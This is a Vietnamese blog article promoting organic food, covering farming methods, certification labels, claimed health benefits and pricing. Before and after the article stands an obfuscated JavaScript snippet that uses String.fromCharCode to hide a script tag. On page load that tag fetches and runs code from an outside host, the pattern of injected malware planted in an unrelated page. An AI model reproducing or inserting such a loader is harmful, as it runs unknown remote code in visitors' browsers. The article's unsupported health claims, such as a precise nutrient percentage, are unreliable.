Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thực phẩm hữu cơ – Những hiểu biết cần thiết

Những hiểu biết cần thiết về thực phẩm hữu cơ

Bất kỳ người tiêu dùng nào lựa chọn thực phẩm hữu cơ vì họ tin rằng nó chứa nhiều chất dinh dưỡng có lợi cho sức khỏe hơn thực phẩm thông thường. Cùng Jade House (www.jadehousevn.com) tìm hiểu chủ đề này nhé!

Canh tác không hữu cơ có nghĩa là gì?

Canh tác hữu cơ và canh tác không hữu cơ hay canh tác thông thưòng đề cập đến cách nông dân trồng và chế biến thực phẩm. Phương pháp canh tác hữu cơ khác với canh tác thông thường theo nhiều cách:

Canh tác không hữu cơ sử dụng phân bón hóa học để thúc đẩy tăng trưởng của thực vật, trong khi canh tác hữu cơ sử dụng phân chuồng và phân ủ để bón cho đất.

Canh tác không hữu cơ phun thuốc trừ sâu để loại bỏ sâu bệnh, trong khi nông dân hữu cơ chuyển sang sử dụng thiên địch như côn trùng và chim diệt trừ sâu hại, phá vỡ quá trình giao phối hoặc bẫy.

Canh tác không hữu cơ sử dụng thuốc diệt cỏ hóa học để kiểm soát cỏ dại, trong khi canh tác hữu cơ luân canh cây trồng, cỏ dại hoặc mùn.

Khi nuôi gia súc – gia cầm, nông dân thông thường cho chúng dùng kháng sinh, hormone tăng trưởng và thuốc để thúc đẩy tăng trưởng và ngăn ngừa bệnh tật. Nông dân hữu cơ cho gia súc – gia cầm của họ ăn thức ăn hữu cơ và cho phép gia súc – gia cầm hoạt động tự do trong môi trường thiên nhiên. Họ cũng sẽ đảm bảo các gia súc – gia cầm có chế độ ăn uống cân bằng và nhà ở sạch sẽ.

Bộ Nông nghiệp chứng nhận sản phẩm hữu cơ theo hướng dẫn nghiêm ngặt. Nông dân hữu cơ phải nộp đơn xin chứng nhận, vượt qua bài kiểm tra và trả phí. Điều quan trọng cần lưu ý là điều này có nghĩa là không phải tất cả thực phẩm hữu cơ đều được chứng nhận, mặc dù tất cả thực phẩm được chứng nhận là hữu cơ.

Chứng nhận thực phẩm hữu cơ

Những sản phẩm hoặc thực phẩm được đóng dấu chế biến/ thu hoạc từ thành phần hữu cơ (Made with organic ingredient) có nghĩa là sản phẩm hoặc thực phẩm này chứa 70% nguyên liệu hữu cơ trở lên và 30% còn lại là nguyên liệu thông thường khác có thể có chứa thuốc trừ sâu, phân bón hóa học, thuốc diệt cỏ, diệt nấm, giống biến đổi gene.

Những sản phẩm hoặc thực phẩm đóng dấu hữu cơ (organic) có nghĩa là sản phẩm hoặc thực phẩm này chứa trên 95% nguyên liệu hữu cơ và 5% nguyên liệu thông thường khác có thể có chứa thuốc trừ sâu, phân bón hóa học, thuốc diệt cỏ, thuốc diệt nấm, giống biến đổi gene.

Những thực phẩm đóng dấu 100% hữu cơ (100% organic) thì thực sự là hữu cơ (organic).

Thực phẩm hữu cơ tốt hơn?

Người mua hàng có thể chọn thực phẩm hữu cơ vì nhiều lý do. Chắc chắn có lý do môi trường để đi hữu cơ. Các biện pháp canh tác hữu cơ được thiết kế để giảm ô nhiễm và bảo tồn nguồn nước và đất. Họ không giải phóng thuốc trừ sâu tổng hợp, có thể gây hại cho động vật hoang dã và họ cũng tìm cách bảo tồn đa dạng sinh học và hệ sinh thái địa phương.

Nhiều người chọn thực phẩm hữu cơ để tránh mọi rủi ro liên quan đến thuốc trừ sâu, thuốc diệt cỏ và các hóa chất khác được sử dụng trong canh tác thông thường. Cha mẹ có thể lo ngại rằng việc tiếp xúc với các hóa chất này có thể gây hại cho sự phát triển của con cái họ, và do đó họ chọn sản phẩm hữu cơ. Thực tế rằng chế độ ăn uống hữu cơ giúp trẻ em hạn chế tiếp xúc với thuốc trừ sâu.

Những hiểu biết cần thiết về thực phẩm hữu cơ
Thực phẩm hữu cơ – jadehousevn.com

Đối với thực phẩm hữu cơ là lành mạnh có thể có lượng chất dinh dưỡng cao hơn trong một số loại thực phẩm hữu cơ cụ thể. Ví dụ sữa hữu cơ chứa nhiều vitamin và chất chống oxy hóa hơn 67%, cũng như nhiều Omega-3 và Omega-6 (chất béo khỏe mạnh nhất). Thực phẩm hữu cơ không chứa bất kỳ chất phụ gia hoặc chất bảo quản, và không biến đổi gen. Và khi bạn mua sản phẩm hữu cơ, các sản phẩm này không chứa thuốc kháng sinh và hormone cho động vật theo phương pháp thông thường, thêm vào thực tế là những con vật này cũng được nuôi dưỡng một cách yêu thương và nhân đạo hơn theo tiêu chuẩn hữu cơ.

Tại sao nó có giá cao hơn?

Những lời chỉ trích lớn nhất về thực phẩm hữu cơ là chi phí của nó. Có nhiều lý do để gia của nó đắt hơn. Nông dân hữu cơ trả nhiều tiền hơn cho thức ăn chăn nuôi hữu cơ, và việc canh tác tốn nhiều công sức hơn, vì nông dân tránh phân bón hóa học và thuốc trừ sâu. Bởi vì nông dân không sử dụng thuốc diệt cỏ, ví dụ, họ phụ thuộc nhiều hơn vào việc làm cỏ bằng tay. Và vì họ tránh phân bón hóa học, họ sử dụng phân hữu cơ và phân động vật, loại cồng kềnh và đắt tiền hơn để vận chuyển. Điều này cũng có nghĩa là năng suất cây trồng của họ thường thấp hơn. Nông nghiệp thông thường cũng sử dụng mỗi mẫu đất nông nghiệp để trồng trọt, trong khi nông dân hữu cơ luân canh cây trồng để giữ cho đất khỏe mạnh.

Tất cả các chi phí sản xuất này có nghĩa là canh tác hữu cơ có xu hướng đắt hơn so với canh tác thông thường, và điều này được phản ánh trong số tiền bạn trả tại cửa hàng tạp hóa. Tuy nhiên, khi bạn tính đến chi phí thực sự của sản xuất lương thực từ canh tác thông thường, bao gồm thay thế đất bị xói mòn, làm sạch nước ô nhiễm, chăm sóc sức khỏe cho nông dân bị bệnh và chi phí môi trường của sản xuất và xử lý thuốc trừ sâu, canh tác hữu cơ có thể thực sự là rẻ hơn.

Thực phẩm được vận chuyển nhanh hơn, có nghĩa là lượng khí thải carbon ít hơn và thức ăn mà không được vận chuyển hàng trăm dặm hoặc chế biến để bảo quản trong quá trình vận chuyển. Thực phẩm đến từ các trang trại nhỏ nơi nông dân thường ý thức được tác động của chúng đối với trái đất và quan tâm đến thực phẩm họ đang sản xuất. Bằng cách mua thực phẩm từ họ, bạn cũng hỗ trợ nền kinh tế thực phẩm địa phương và biết rõ nguồn gốc thực phẩm bạn mua đến từ đâu.

Tập thói quen lựa chọn thực phẩm hữu cơ bất cứ khi nào bạn có thể đảm bảo rằng bạn và gia đình có được lợi ích dinh dưỡng mà thiên nhiên mang lại. Đó là nền tảng để cấu trúc một lối sống sẽ thúc đẩy và duy trì sức khỏe suốt đời.

(Dunji, Sưu tầm và biên soạn)

 

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();